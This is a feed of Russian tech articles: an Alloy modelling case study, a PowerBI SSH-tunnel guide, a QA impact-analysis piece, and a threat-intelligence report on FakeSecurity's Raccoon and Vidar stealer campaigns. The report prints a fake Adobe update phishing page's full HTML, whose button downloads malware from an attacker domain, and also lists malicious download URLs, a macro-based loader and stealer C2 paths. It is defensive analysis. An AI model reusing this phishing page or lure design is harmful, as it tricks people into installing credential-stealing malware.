Чем дальше вы продвигаетесь по цепочке, тем длиннее становятся эти перерывы и тем больше ресурсов уходит на исправление ошибок: чтобы достигнуть этапа QA-тестирования могут потребоваться дни, после чего инженер-тестировщик еще должен будет заняться вашей задачей. А если на этом этапе будет обнаружена ошибка, то не только тестировщикам придется снова провести тесты после исправления ошибки, но и разработчики опять должны будут пройти все предыдущие стадии!


Итак, каков самый ранний этап, на котором мы можем выявить ошибки? Удивительно, но мы можем существенно повысить шансы на выявление ошибок ещё до того, как будет написана первая строка кода!


Alloy выходит на сцену


Вот здесь появляется Alloy. Alloy это невероятно простой и эргономичный инструмент моделирования, позволяющий строить пригодные для тестирования спецификации на системы, для которых вы только собираетесь писать код.


По сути, Alloy предлагает простой язык для построения абстрактной модели вашей идеи или спецификации. После построения модели Alloy сделает всё возможное, чтобы показать вам все проблемные места в рамках вашей спецификации. Также можно провести проверку всех свойств модели, которые вы сочтете важными.


Давайте приведем пример. Недавно у нас возникла неприятная проблема со следующим куском кода:


newAuthCode  :: (MonadWhatever m)  => DB.Client  -> DB.SessionId  -> m DB.AuthorizationCodenewAuthCode clid sid = do  let codeData = mkAuthCodeFor clid sid  void $ DB.deleteAllCodes clid sid  void $ DB.insertAuthCode codeData  return code

Здесь реализовывался обработчик HTTP-запроса и предполагалось, что функция будет обращаться к базе данных, удалять все существующие коды авторизации пользователя и записывать новый. По большому счету, код именно это и делал. Однако он также медленно заполнял наши логи сообщениями нарушение требования уникальности (uniqueness constraint violation).


Как это получилось?


Моделирование


Проблема, указанная выше, представляет собой хороший пример задачи для Alloy. Давайте попробуем представить ее, построив модель. Обычно мы начинаем моделирование конкретной проблемы с описания нашего представления об операциях newAuthCode для Alloy. Иными словами, необходимо сначала построить модель операций, затем дополнить ее, построив модель базы данных и привязав поведение базы данных к операциям.


Однако в данном случае оказывается, что для выявления проблемы достаточно просто формализовать представление о том, как могут выглядеть наши операции.


Процесс, описанный в приведенном фрагменте кода, имеет две интересующие нас части. Он производит удаление в некоторый момент времени, а затем вставляет новый токен в другой момент времени. Вот одна из моделей Alloy, используемая для описания этого поведения:


open util/time  // Импортируем предопределённые объекты Timesig Operation       // У нас есть операции...  { delete : Time   // ...которые удаляют в какой-то момент времени  , insert : Time   // ...и производят вставку в какой-то другой  }  { lt[delete,insert]  // Удаления происходят до вставок    lt[first,delete]   // По техническим причинам в первый                        // момент времени ничего не происходит  }  run {some Operation} for 4 // Показать произвольный пример модели                             // с <= 4 операциями

Приведенная выше модель описывает систему абстрактных объектов и отношений между этими объектами. Выполнение модели далее приведет к образованию произвольного пространства, содержащего некоторые операции Operation, которые распределяются по определенным правилам.


Если вы хотите проследить этот процесс, скачайте alloy и скопируйте в него приведенный выше фрагмент кода. Затем нажмите 'execute' и 'show', чтобы получить модель следующего вида:



Чтобы Alloy показал другие модели, можно нажать 'next'.


Вот один из таких случайных экземпляров, представленный в виде таблицы отношений (нужно несколько раз нажать 'next и выбрать вид 'Table'):


this/OperationdeleteinsertOperation    Time Time   Operation удаляет в момент Time и   вставляет в момент TimeOperation    Time Time   Operation удаляет в момент Time и   и вставляет в момент Time                                                 ОЙ!

Как правило, на данном этапе мы начинаем моделировать таблицы базы данных и семантику операций, но оказалось, что Alloy уже смог показать, почему наши логи содержат нарушение требований!


Обращения к нашему обработчику происходят одновременно, и последовательности операций накладываются друг на друга: есть две операции, обе из которых производят удаление примерно в одно и то же время, а затем обе делают вставку в одно время. Кроме того, поскольку это не считывание, уровень изоляции по умолчанию postgresql ничего не делает, чтобы остановить этот процесс.


Проблема найдена!


Давайте её исправим!


Как только я нашел причину проблемы, я написал для нее следующее исправление.


code <- run $ do  handleJust constraintViolation    (launchPG $ selectCodeForSession clid scope sid    (launchPG . pgWithTransaction $ newAuthCode clid scope sid)

Моя идея заключалась в том, что если операции действительно накладываются, а вставка действительно не срабатывает, то мы знаем, что новый код авторизации только что был вставлен. Следовательно, мы можем просто сделать select и вернуть этот существующий код, так как он был создан всего моментом ранее.


Будет ли это работать сейчас?


Давайте быстро построим модель Alloy для нашего исправления, чтобы проверить его корректность:


open util/time // Импортируем Timesig Token {} // Объекты с названием Tokenone sig DBState // База данных с токенами {userToken : Token lone -> Time}    // В БД не более одного токена в каждый момент врвмени    // (т.к. ограничения БД не позволяют хранить больше одного)sig Operation {   delete : Time , insert : Time , select : Time // Наши операции теперь могут выполнять select}{  lt[first,delete]   // Ничего не происходит в первый момент времени                     // по техническим причинам  lt[delete,insert]  // Первой выполняется операция delete  lte[insert,select] // select выполняется после или во время insert'а  no userToken.(insert.prev) // Если вставка сработала (т.е. таблица  => insert = select         // была пустой во время выполнения),                             // получаем значение в тот же самый                              // момент времени (т.е. у нас запрос                             // 'INSERT RETURNING').                             // В противном случае вызываем обработчик                             // исключения, и select выполняется чуть позже}

До этого момента модель очень похожа на предыдущую. Мы добавили DBState для моделирования таблицы, где хранятся наши токены, и наши операции теперь выполняют select, так же, как и в нашем коде. То есть если таблица пуста, мы получаем токен во время его вставки, а если таблица заполнена, мы выбираем его позднее в обработчике исключений.


Затем мы переходим к интересному аспекту модели, который заключается в описании взаимодействия между операциями и состоянием базы данных. К счастью, для нашей модели это довольно просто:


fact Trace {                           // Факт Trace описывает поведение системы all t : Time - first | {              // на всех шагах, кроме первого:   some delete.t => no userToken.t       // Если происходит удаление, таблица пуста   some insert.t => some userToken.t     // Если происходит вставка, таблица не пуста   no delete.t and no insert.t           // Если не происходит ни вставок, ни удалений,    => userToken.t = userToken.(t.prev)  // таблица не меняется  }}

То есть мы описываем, как состояние базы данных изменяется в зависимости от некоторых происходящих событий.


Выполнение этой модели приводит к созданию многочисленных экземпляров, но вопреки обыкновению, их простой просмотр не позволяет найти очевидную ошибку. Однако мы можем потребовать от Alloy проверить для нас некоторые факты. Здесь придется немного подумать, но кажется, что исправление будет работать, если правильно работают все вызовы select.


Давайте примем это за утверждение и попросим Alloy проверить его.


assert selectIsGood {         // То, что мы хотим проверить all s : Operation.select |   // Всегда, когда выполняется select,  some userToken.s            // в базе присутствуем токен}check selectIsGood for 6 // Проверить, что selectIsGood всегда истинно

К сожалению, запуск этой проверки дает нам следующий контрпример:


DBState userToken   DBStateTokenTime                 Token находится в БД в моменты Time и Time              Time                TokenTime   Token в БД в момент Time.                                    Токены есть в таблице только                 моменты Time, Time и Time                 Заменит, что в момент                 Time токенов нет!Operation     deleteinsertselectOperation     TIME Time TimeOperation     Time Time TIME    Таблица пуста в момент Time и     select не работает для Operation!Operation     Time Time Time                                               Это моменты времени, когда                происходят соответствующие действия

На этот раз контрпример усложняется. К неудаче нашего исправления приводят три операции, происходящие одновременно. Во-первых, две из этих операций производят удаление и очистку базы данных. Далее, одна из этих двух операций вставляет новый токен в базу данных, в то время как другая не может сделать вставку, поскольку в таблице уже есть токен. Неудачная операция начинает выполнять обработку исключений, но еще до ее завершения запускается третья операция и снова очищает таблицу, в результате чего select в обработчике исключений теперь не может ничего выбрать.


Итак, предлагаемое исправление, которое было проверено на согласование типов, протестировано, прошло интеграцию и проверку коллегами, оказалось ошибочным!


Параллельная обработка легко не дается.


Мои выводы


Мне понадобилось примерно полчаса, чтобы написать вышеуказанные модели Alloy. Для сравнения, изначально у меня уходило вдвое больше времени на то, чтобы понять проблему и исправить ее. После этого я также ждал в течение получаса завершения непрерывной интеграции, а потом мои коллеги некоторое время проверяли мой код.


Учитывая, что исправление даже не работает, можно сказать, что решение проблемы определенно заняло больше времени, чем если бы я остановился и смоделировал проблему, как только обнаружил ее. Однако к сожалению, я вовсе не притрагивался к Alloy, поскольку проблема была простой.


Думается, в этом и заключается сложность с использованием подобных инструментов. Когда они нужны? Конечно, не для каждой проблемы, но, возможно, чаще, чем я ими пользуюсь сейчас.


Где взять Alloy?


Для тех, кто заинтересовался, ниже мы приводим несколько ссылок, чтобы начать работу с Alloy:




P.S. Правильное решение этой проблемы заключается в том, чтобы использовать сериализуемые транзакции и не возиться с параллельной обработкой.

Подробнее..
Категории: Анализ и проектирование систем , Отладка , Тестирование it-систем , Тестирование , Моделирование , Анализ , Modeling , Analysis , Моделирование систем , Specification , Блог компании typeable , Alloy , Спецификации , Modelling language , Specification language

Подключение БД с SSH-туннелем к PowerBI

28.02.2021 16:06:27 | Автор: admin

Всем привет!

Оказалось, что PowerBI не имеет встроенной возможности настроить доступ к БД, защищённой SSH-туннелем. Приходится выкручиваться. Мне очень помогла эта статья - спасибо тебе добрый и компетентный в написании инструкций человек, без тебя я бы впала в отчаяние.

И тем не менее, в ней раскрыты не все нюансы. В своём материале я добавлю следующее:

  • Два уникальных совета, как сделать так, чтобы установленный туннель не падал после авторизации

  • Дополнительная инструкция для подключения к SSH при помощи приватного ключа, а не логина и пароля

  • Скрины из самого PowerBI с настройкой БД и советы о том, как работает выборка из подключенной БД и как обновлять данные, полученные по SQL-запросам.

  • Плюс я ориентирую свой материал на продуктовых аналитиков и аналитиков данных, то есть на тех, у кого нет доступа на редактирование БД и кто может не знать, что такое проброс портов и SSH-tunnel в принципе.

Итак, поехали.

Вам понадобится(этап подготовки):

  1. Установленный Putty. Можно взять здесь - https://www.putty.org/

  2. Данные от вашего бекенда или девопса по списку:

    1. IP-адрес SSH-сервера;

    2. порт SSH-сервера;

    3. username для доступа на SSH-сервер;

    4. пароль для доступа или связка приватного и публичного ключа*

    5. IP-адрес самой БД (обычно 127.0.0.1);

    6. порт самой БД;

    7. название БД;

    8. логин доступа к БД (не то же самое, что username для доступа на SSH-сервер);

    9. пароль для доступа к БД.

*Выбирать пароль или ключ не вам, а Хранителю сервера, пароль проще, ключ - безопаснее. В статье будут инструкции на оба случая. Если у вас кейс с ключами, то на этапе подготовки вам надо сгенерить оба ключа, разместить их в нужную папку на вашем компьютере и отдать внешний ключ Хранителю сервера, чтобы он его туда добавил. На эту тему есть много инструкций в интернете, я не буду повторяться.

Поднимаем SSH-туннель

  1. Открываем Putty

  2. В Category/Session вводим IP-адрес SSH-сервера, порт SSH-сервера и выставляем радио-баттон Close window on exit на позицию Never

  3. Переходим в Category/Connection/SSH и ставим галочку на Dont start a shell or command at all

  4. Переходим в Category/Connection/SSH/Tunnels, в поле Source port вбиваем порт самой БД, в поле Destination IP-адрес самой БД:порт самой БД. Жмём Add.

  5. *пункт для тех, кто подключается с приватным ключом, если у вас случай с логином и паролем, то переходите сразу к 6 пункту инструкции

    1. Запустите PuttyGen (установился на ваш компьютер вместе с Putty)

    2. Выберите в верхнем меню Conversions/Import Key

    3. В открывшемся окне Проводника откройте папку, куда вы сохранили файлы приватного и публичного ключа (пункт 2d списка Вам понадобится) и выберите файл приватного ключа. Иногда Windows делает этот файл скрытым. Возможно, вам надо будет включить отображение скрытых файлов в Проводнике, нажав на Вид и поставив галочку напротив Скрытые элементы

    4. Нажимаем Save private key. Даём ключу любое имя на латинице и сохраняем в папку с ключами.

    5. Возвращаемся в Putty. Переходим в Category/Connection/SSH/Auth и нажимаем Browse рядом с Private key file for authentication

    6. В открывшемся окне Проводника выбираем сохранённый в пункте 5d файл приватного ключа.

  6. Переходим в Category/Session, в поле Saved Session вводим имя нашего туннеля (любое), жмём Save. Это позволит нам не вводить все настройки каждый раз заново. После чего жмём Open

  7. В открывшемся окне Терминала рядом с Login as вводим username для доступа на SSH-сервер и жмём Enter

  8. *пункт для тех, у кого авторизация по паролю, если вы авторизовались по связке ключей, то пропускайте этот пункт и переходите сразу к 9.

    1. Вводим пароль для доступа на SSH-сервер и жмём Enter

Настройка PowerBI

SSH-туннель настроен, не закрывайте окно терминала Putty. Теперь переходим в PowerBI. Жмём Получить данные и выбираем База данных MySQL или База данных PostgreSQL в зависимости от того, что у вас. Интерфейс будет одинаковым, а вот вероятность успеха - разной, потому что MySQL И PostgreSQL используют разные драйвера. Убедитесь, что выбрали свою БД правильно.

  1. В поле Сервер вводим IP-адрес самой БД:порт самой БД

  2. В поле База данных вводим название БД

  3. Жмём Расширенные настройки и в поле Инструкция SQL вставляем запрос, по которому нужно импортировать данные. Если вы его не напишете, PowerBI приконнектится ко всей БД, но не позволит вам вытаскивать из неё данные запросами и не позволит построить модели (или я не нашла как, если у вас есть успешный опыт, с удовольствием прочитаю его в комментах)

  4. Жмём ok

  5. Вводим логин доступа к БД и пароль для доступа к БД, жмём Подключение

  6. Возможна вот такая ошибка, это ok

Как обновить данные из БД в PowerBI

  1. Поднимаем SSH-туннель в Putty

  2. Переходим в PowerBI и жмём Обновить. Все созданные запросы ещё раз отправятся на сервер и выгрузят свежую информацию

Подробнее..
Категории: Postgresql , Devops , Веб-аналитика , Mysql , Analysis , Powerbi , Ssh-tunnel , Database tools

Impact Analysis 6 шагов, которые облегчат тестирование изменений

25.01.2021 22:13:40 | Автор: admin
Содержание

  • Что такое Impact Analysis?

  • Когда нужно проводить Impact Analysis?

  • Для чего нужно проводит Impact Analysis?

  • Как провожу Impact Analysis я?

    • 1. Изучение issue\ticket\bug\change request *

    • 2. Чтение emails **

    • 3. Разговор с разработчиками **

    • 4. Изучение места, где было сделано изменение ***

    • 5. Изучение описания изменений ***

    • 6. Исследование кода изменений *****

  • Почему я решила написать об этом?

Что такое Impact Analysis?

Прежде всего, Impact Analysis (импакт анализ) - это исследование, которое позволяет указать затронутые места (affected areas) в проекте при разработке новой или изменении старой функциональности, а также определить, насколько значительно они были затронуты.

Затронутые области требуют большего внимания во время проведения регрессионного тестирования.

Отмечу сразу, чтобы не пугать QA: импакт анализ не есть "чтение кода". Он включает в себя и иные способы исследования.

Когда нужно проводить Impact Analysis?

Импакт анализ может быть полезным в следующих случаях:

  • есть изменения в требованиях;

  • получен запрос на внесение изменений в продукт;

  • ожидается внедрение нового модуля или функциональности в существующий продукт;

  • каждый раз, когда есть изменения в существующих модулях или функциональностях продукта.

Как мы знаем, в настоящее время продукты становятся всё более большими и комплексными, а компоненты всё чаще зависят друг от друга. Изменение строчки кода в таком проекте может "сломать" абсолютно всё.

Developers are fixing Production IssueDevelopers are fixing Production Issue

Для чего нужно проводит Impact Analysis?

Информация о взаимосвязи и взаимном влиянии изменений могут помочь QA:

  • сфокусироваться на тестировании функциональности, где изменения были представлены;

  • принять во внимание части проекта, которые были затронуты изменениями и, возможно, пострадали;

  • не тратить время на тестирование тех частей проекта, которые не были затронуты изменениями.

Как провожу Impact Analysis я?

  1. Изучаю issue\ticket\bug\change request *.

  2. Читаю email переписку **.

  3. Разговариваю в разработчиками **.

  4. Смотрю на место где было изменение (commit place) ***.

  5. Смотрю на описание изменения (commit description) ***.

  6. Смотрю на изменения в коде *****.

'*' показывает "уровень сложности" этого действия. Как видно, только "шаг 6" требует умения читать код, с "шагами 1-5" способен справится QA и без знаний языком программирования.

1. Изучение issue\ticket\bug\change request *

Самое основное и базовое (поэтому и сложность *), что нужно сделать, - это внимательно изучить ишью в баг-трекинговой системе. Следует обратить внимание на все поля, особенно:

  • Steps To Repeat;

  • Description;

  • Additional Background Information;

  • Attachment;

Некоторые важные условия или особенности, описанные в ишью, помогут вам идентифицировать область тестирования. Например, при внимательном прочтении ишью, вы обнаружили, что в 'Additional Background Information' стоит пометка, что проблема воспроизводится только при использовании HTTPs. Поэтому для себя можно отметить, что при тестировании неплохо было бы проверить и случай с HTTP.

2. Чтение emails

Вы удивитесь, как много можно найти в переписках, относящихся к вашей задаче, что было пропущено и не указано в ишью:

  • больше деталей от заказчиков;

  • результаты исследований от других членов команды;

  • список похожих проблем;

  • картинки, графики, схемы и другое.

Сложность этого действия "**", только потому, что в переписках может быть больше технической информации или "сленга" разработчиков.

Why wasn't it mentioned in the issue?!Why wasn't it mentioned in the issue?!

3. Разговор с разработчиками **

QAs and Developers QAs and Developers

Во время тестирования изменений ваша цель - найти как можно больше "поломавшегося" и поэтому стоит смело подойти к разработчикам, к тем "кто возможно поломал" и спросить напрямую: "Ты сделал изменения, подскажи, на что они могут повлиять, какие области\модули мне нужно проверить тщательнее". Хороший разработчик, понимающий, что чем раньше баг будет обнаружен, тем дешевле будет его исправить, поможет вам советом, даже если будет абсолютно уверен в своих сделанных изменениях.

4. Изучение места, где было сделано изменение ***

Изменения, которые сделаны, должны быть куда-то внесены. В моём случае, это git, где достаточно легко можно определить место, где были сделаны изменения. Под "местом" я понимаю "конкретный файл, конкретная функция\метод, конкретный модуль". И следовательно, это "место" (этот модуль, функциональность) следует перепроверить, протестировать на наличие регрессий.

File where changes areFile where changes are

Например, на картинке выше видно, что изменения были в 'ExtendedClassification' функциональности, поэтому хотя бы, Smoke Test для этой функциональности должен быть пройден.

Так же, если изменения были в каких-то клиентских файлах ( JS, HTML, CSS, etc.), то следует провести кроссбраузерное тестирование.

Сложность "***" - чтение кода всё ещё не требуется, но нужно иметь представление об архитектуре проекта.

5. Изучение описания изменений ***

Для того, чтобы QA могли описания изучать, сначала нужно добиться того, чтобы Developers начали писать грамотные и понятные описания изменений. В моём отделе мы придерживается следующего шаблона, для описания изменении (git commits):

Ticket number and title

- Bug:

{В чём состоит дефект, какое актуальное поведение системы?}

- Problem:

{первопричина дефекта, что в системе работает не так?}

- Fix:

{в чём состоит изменение}

Changes descriptionChanges description

Например, исходя из описания исходной проблемы "Логика не работает при версировании root ItemType" (изображение сверху), следует, что нужно проверить "данную логику при версировании root ItemType". И имея в наличие только bug и его описание, эта важная проверка не столь очевидна и может быть пропущена.

6. Исследование кода изменений *****

Тут всё банально просто - нужно читать код и представлять, что он делает. Конечно, не многим это под силу на данном этапе, но есть к чему стремиться. К тому же, он QA не требуется глубокого понимание кода. Базовых знаний программирования и поверхностных знаний ООП (в моём случае) вполне достаточно, чтобы представить use case, покрывающий основные функции этого кода.

Почему я решила написать об этом?

Недавно в отделе столкнулась с тем, что разработчик сделал кое-какие изменения и отправил это в тестирование QA. Тестировщик естественно принял решение провести регрессионное тестирование, но без особого разбора и исследований установил, что нужно пойти все регрессионные тесты, которые в сумме занимают 25ч (проверка доступов, отработка разной функциональности, проверка в разных браузерах). Когда я решила взглянуть на сделанные изменения, то обнаружила следующее:

ExampleExample

т.е. единственное изменение, которое было сделано, - это добавлена проверка, если ItemType не равен "HG_Modification Orger", то делай всё то же, что и делал раньше (сделай изменения и обнови окно), если ItemType равен "HG_Modification Orger", то пропусти (ничего не делай и просто обнови окно). Т.е. эти изменения никак не относятся к клиентской части (проверка в разных браузерах не нужна). Изменения никак не затрагивают доступы, отрисовку. Они затрагивают лишь определённую функциональность, которую нужно проверить для ItemType = "HG_Modification Orger" и для ItenType != "HG_Modification Orger". Эти проверки займут 30 минут в худшем случае. Но никак не 25 часов.

Это наглядный пример, как impact analysis помог уменьшить время проведения необходимого тестирование значительно.

Подробнее..
Категории: Тестирование it-систем , Тестирование , Тестирование веб-сервисов , Qa , Testing , Тестирование по , Analysis , Impact analysis , Commit , Импакт анализ , Regression testing

Крошка Енот как операторы JS-сниффера FakeSecurity распространяли стилер Raccoon

07.12.2020 12:09:16 | Автор: admin


Летом 2020 года специалисты Group-IB обратили внимание на необычную кампанию по распространению стилера Raccoon. Сам стилер хорошо известен: он умеет собирать системную информацию, данные учетных записей в браузерах, данные банковских карт, а также ищет информацию о крипто-кошельках.

Сюрприз оказался в другом. Никита Ростовцев, аналитик Group-IB Threat Intelligence & Attribution, рассказывает, как в ходе исследования удалось восстановить хронологию вредоносной кампании, установить связи с другими элементами инфраструктуры злоумышленников. Забегая вперед, отметим, что енот оказался прикормленным уже известной нам группой.

Начнем с того, что сам стилер Raccoon распространяется по модели Malware-As-a-Service на одном из даркнет-форумов в связке с Telegram-каналами для того, чтобы обходить блокировку актуальных C&C-серверов.


Мы разделили кампанию на четыре этапа, которые отличаются используемыми инструментами (типом вредоносного ПО, регистраторами для создания инфраструктуры и т.п.):

  • Первая волна: 19 февраля 5 марта 2020 года
  • Вторая волна: 13 марта 22 мая 2020 года
  • Третья волна: 29 июня 2 июля 2020 года
  • Четвертая волна: 24 августа 12 сентября 2020 года


Большинство доменов в рамках исследуемой кампании были зарегистрированы у двух регистраторов Cloud2m и Host Africa. Cloud2m использовался в более ранних атаках. В середине июля 2020 года некоторые из этих доменов переехали на Host Africa.


Таймлайн вредоносных кампаний хакерской группы FakeSecurity

Мы пришли к выводу, что целью вредоносной кампании по распространению стилера была кража платежных и пользовательских данных. Для доставки вредоносного ПО злоумышленники задействовали несколько векторов атак и инструментов.

Также мы установили, что перед распространением стилера Raccoon злоумышленники в начале 2020 года работали с образцами другого стилера под названием Vidar. Для этого они использовали вложения с вредоносными макросами и фейковые веб-страницы, созданные с помощью фишинг-кита Mephistophilus.


Схема заражения жертв в кампаниях хакерской группы FakeSecurity

Схема распространения вредоносного ПО напомнила нашим экспертам паттерн, который использовали операторы семейства JS-сниффера FakeSecurity в кампании, описанной в ноябре 2019 года. Помимо сходств в инструментариях двух серий атак, они обе были нацелены на e-commerce-компании. Так, в мае 2020-го эксперты Group-IB обнаружили онлайн-магазины, которые были заражены модифицированным JS-сниффером из кампании FakeSecurity. JS-сниффер был обфусцирован при помощи aaencode, а для хранения кода и сбора украденных данных банковских карт использовались домены, которые были зарегистрированы в период активности второй волны и у тех же регистраторов, что и домены, которые мы обнаружили в исследуемой вредоносной кампании. Таким образом, за компанией по распространению стилеров, как мы считаем, стоят операторы JS-сниффера FakeSecurity.


Доменная инфраструктура вредоносных кампаний FakeSecurity

Первая волна


Первая волна регистрации доменов началась в зоне co.za 19 февраля 2020 года. Подозрительные домены содержали ключевые слова cloud, document и Microsoft. Примеры доменов, зарегистрированных в первую волну:

msupdater[.]co.za 2020-02-19
documents-cloud-server[.]co.za 2020-03-05
cloudupdate[.]co.za 2020-02-21

В рамках первой волны кампании в качестве исходного вектора использовались рассылки с вложениями, содержащими вредоносные макросы, а также фейковые веб-страницы, ведущие на загрузку вредоносного ПО.

Документы с макросами


Уже спустя девять дней после регистрации первого домена, 28 февраля, на VirusTotal через веб-интерфейс из США был загружен файл Bank001.xlsm (SHA1: b1799345152f0f11a0a573b91093a1867d64e119):


Этот файл является документом-приманкой с вредоносными макросами, который при их активации загружает полезную нагрузку из cloudupdate.co[.]za/documents/msofficeupdate.exe.

Частично обфусцированный в Base64 вредоносный макрос группы FakeSecurity

В результате происходит выполнение файла msofficeupdate.exe (SHA1: f3498ba783b9c8c84d754af8a687d2ff189615d9). C&C-сервером данного образца является badlandsparks[.]com. Этот домен был зарегистрирован 27 февраля 2020 года и связан с IP-адресом 185.244.149[.]100. Только к этому домену производят сетевое подключение более 30 файлов.

Связанная c доменом инфраструктура, выстроенная с помощью технологии графого анализа Group-IB Threat Intelligence & Attribution

Среди таких файлов присутствуют 13b7afe8ee87977ae34734812482ca7efd62b9b6 и 596a3cb4d82e6ab4d7223be640f614b0f7bd14af. Эти файлы производят сетевое подключение одновременно к gineuter[.]info, fastandprettycleaner[.]hk и к badlandsparks[.]com. Судя по запросам, которые они выполняют для загрузки библиотек, и данным из открытых источников, файл msofficeupdate.exe и подобные ему являются образцами стилера Vidar. Этот стилер злоумышленники используют для кражи данных из браузеров, в том числе истории просмотров веб-страниц и данных учетных записей, а также данных банковских карт, файлов крипто-кошельков, переписок в мессенджерах и т.д.

Админ-панель стилера Vidar

Сетевое взаимодействие образца SHA1: 596a3cb4d82e6ab4d7223be640f614b0f7bd14af (построено с помощью графа Group-IB TI&A)

Список специфичных для Vidar HTTP-запросов, а также его подробный обзор доступен по ссылке:

/ (i.e 162) <- Config
ip-api.com/line/ <- Get Network Info
/msvcp140.dll <- Required DLL
/nss3.dll <- Required DLL
/softokn3.dll <- Required DLL
/vcruntime140.dll <- Required DLL
/ <- Pushing Victim Archive to C2

Файл BankStatement1.xlsm (SHA1: c2f8d217877b1a28e4951286d3375212f8dc2335) также является документом-приманкой с вредоносными макросами и при их активации загружает файл из download-plugin[.]co.za/documents/msofficeupdate.exe. Загружаемый файл SHA1: 430a406f2134b48908363e473dd6da11a172a7e1 также является стилером Vidar и доступен для загрузки из:

  • download-plugin.co[.]za/documents/msofficeupdate.exe
  • msupdater.co[.]za/documents/msofficeupdate.exe
  • cloudupdate.co[.]za/documents/msofficeupdate.exe

Пример доступности файла 430a406f2134b48908363e473dd6da11a172a7e1 из разных источников

Фишинг-кит Mephistophilus


Вторым исходным вектором в рамках первой волны атак было использование фейковых веб-страниц для распространения вредоносного ПО.

Так, обнаруженные домены msupdater[.]co.za, cloudupdate[.]co.za и documents-cloud-server[.]co.za имели одинаковую А-запись 160.119.253[.]53 в одно и то же время. Судя по данным графового анализа Group-IB, на сайте documents-cloud-server[.]co.za находился фишинг-кит Mephistophilus.

Связанная инфраструктура указанных доменов (построено с помощью графа Group-IB TI&A)

Мы уже писали про этот фишинг-кит в нашей статье на Habr. С самого начала Mephistophilus позиционировался как система для целевых фишинговых атак. Этот фишинг-кит содержит несколько шаблонов фейковых веб-страниц для доставки полезной нагрузки, среди которых:

  • онлайн-просмотрщик документов Microsoft Office 365, Word или Excel
  • онлайн-просмотрщик PDF-файлов
  • страница-клон сервиса YouTube



Административная панель Mephistophilus


Фейковое окно обновления Adobe Reader

На домене documents-cloud-server[.]co.za находится веб-фейк, имитирующий страницу обновления плагина для Adobe Reader. Чтобы продолжить чтение документа, пользователю требуется скачать плагин. После того как жертва кликает Download plugin, загружается вредоносный файл по ссылке www[.]documents-cloud-server[.]co.za/file_d/adobe-reader-update-10.21.01.exe.

<!DOCTYPE html><html><head><title>Statment00810012.pdf</title><link href="http://personeltest.ru/aways/fonts.googleapis.com/css?family=Roboto" rel="stylesheet"><link rel="stylesheet" href="http://personeltest.ru/away/www.documents-cloud-server[.]co.za/view/pdf_v3/css/style.css"><script type="text/javascript" src="http://personeltest.ru/away/www.documents-cloud-server [.]co.za/view/pdf_v3/js/jquery.js"></script></head><body topmargin="0" leftmargin="0"><div class="toolbar"></div><div class="layer"><div class="tab"><table width="100%" height="100%" cellpadding="0" cellspacing="0"><tr><td class="tdo" width="307" valign="top" align="center"><div class="logo"></div><br><br><br><div class="bottom-text" align="center">Copyright  2017 Adobe Systems<br> Software Ireland Ltd. <br>All rights reserved</div></td><td class="tds" width="493" valign="top" align="center"><h2>Plugin update required</h2><span class="text">This document cannot be displayed correctly<br>You are using an older version of Adobe Reader PDF Plugin<br>for Google Chrome<br></span><br><br><br><a class="button" data-url="http://personeltest.ru/away/www.documents-cloud-server[.]co.za/file_d/adobe-reader-update-10.21.01.exe">Download plugin</a><br><br><br><br><div class="bottom-text" align="center"><a href="http://personeltest.ru/aways/www.adobe.com/" target="_blank" class="link">Adobe</a> / <a href="http://personeltest.ru/aways/www.adobe.com/legal/terms.html" target="_blank" class="link">Terms of Use</a> / <a href="http://personeltest.ru/aways/www.adobe.com/privacy.html" target="_blank" class="link">Privacy</a></div></td></tr></table></div></div><script>setTimeout(function(){var width = $(window).width();var height = $(window).height();$('.layer').show();$('.layer').animate({'height':height}, 1000);setTimeout(function(){$('.tab').show();},1200);},1800);$('.button').click(function(){$.post(location.href, {dl:"dlPDF2",cname:"Statement00810011"});var link = $(this).attr("data-url");window.open(link);});$(window).resize(function(){var width = $(window).width();var height = $(window).height();$('.layer').css("width",width);$('.layer').css("height",height);});</script></body></html>

Исходный код фишинговой страницы


Файл с таким же именем adobe-reader-update-10.21.01.exe впервые был загружен на VirusTotal 13 марта 2020 года и был доступен для загрузки по следующим ссылкам:

  • documents-cloud-server5[.]co.za/file_d/adobe-reader-update-10.21.01.exe
  • documents-cloud-server1[.]co.za/file_d/adobe-reader-update-10.21.01.exe
  • documents-cloud-server9[.]co.za/file_d/adobe-reader-update-10.21.01.exe
  • documents-cloud-server8[.]co.za/file_d/adobe-reader-update-10.21.01.exe

Пример доступности файла f33c1f0930231fe6f5d0f00978188857cbb0e90d из разных источников

Другой файл msofficeupdater.exe (SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb) был доступен по следующим путям:

  • documents-cloud-server7[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server5[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server7[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server6[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server1[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server6[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server5[.]co.za/doc/msofficeupdater.exe
  • documents-cloud-server1[.]co.za/doc/msofficeupdater.exe

Пример доступности файла bdfefdff7b755a89d60de22309da72b82df70ecb из разных источников

Вторая волна


Домены, связанные с файлом SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb, вывели нас на еще одну группу доменов, относящихся к инфраструктуре злоумышленников. Эти домены были зарегистрированы в два этапа: первая группа 13 марта 2020 года, вторая 22 мая 2020 года.

Примеры доменов второй волны:

1 группа 2 группа
cloud-server-updater[.]co.za cloud-server-updater17[.]co.za
cloud-server-updater1[.]co.za cloud-server-updater18[.]co.za
cloud-server-updater15[.]co.za cloud-server-updater27[.]co.za
cloud-server-updater16[.]co.za cloud-server-updater28[.]co.za

Эти домены были созданы для распространения стилера Raccoon. Чтобы связать данные группы доменов, можно взглянуть на файлы SHA1: b326f9a6d6087f10ef3a9f554a874243f000549d и SHA1: F2B2F74F4572BF8BD2D948B34147FFE303F92A0F. Эти файлы в процессе работы устанавливают сетевое соединение со следующими ресурсами:

  • cloudupdates[.]co.za
  • cloud-server-updater2[.]co.za
  • cloud-server-updater19[.]co.za

Сетевое взаимодействие файла b326f9a6d6087f10ef3a9f554a874243f000549d (построено с помощью графа Group-IB TI&A)

C доменом cloudupdates[.]co.za связано порядка 50 вредоносных файлов из публичных источников. Их первые загрузки датируются 30 апреля 2020 года, а сам домен похож на найденный ранее cloudupdate.co[.]za. Кроме схожего имени домена, он зарегистрирован через регистратора cloud2m, а в качестве NS-записей у него указаны ns1.host-ww.net и ns2.host-ww.net так же, как и у msupdater[.]co.za и cloudupdate[.]co.za.

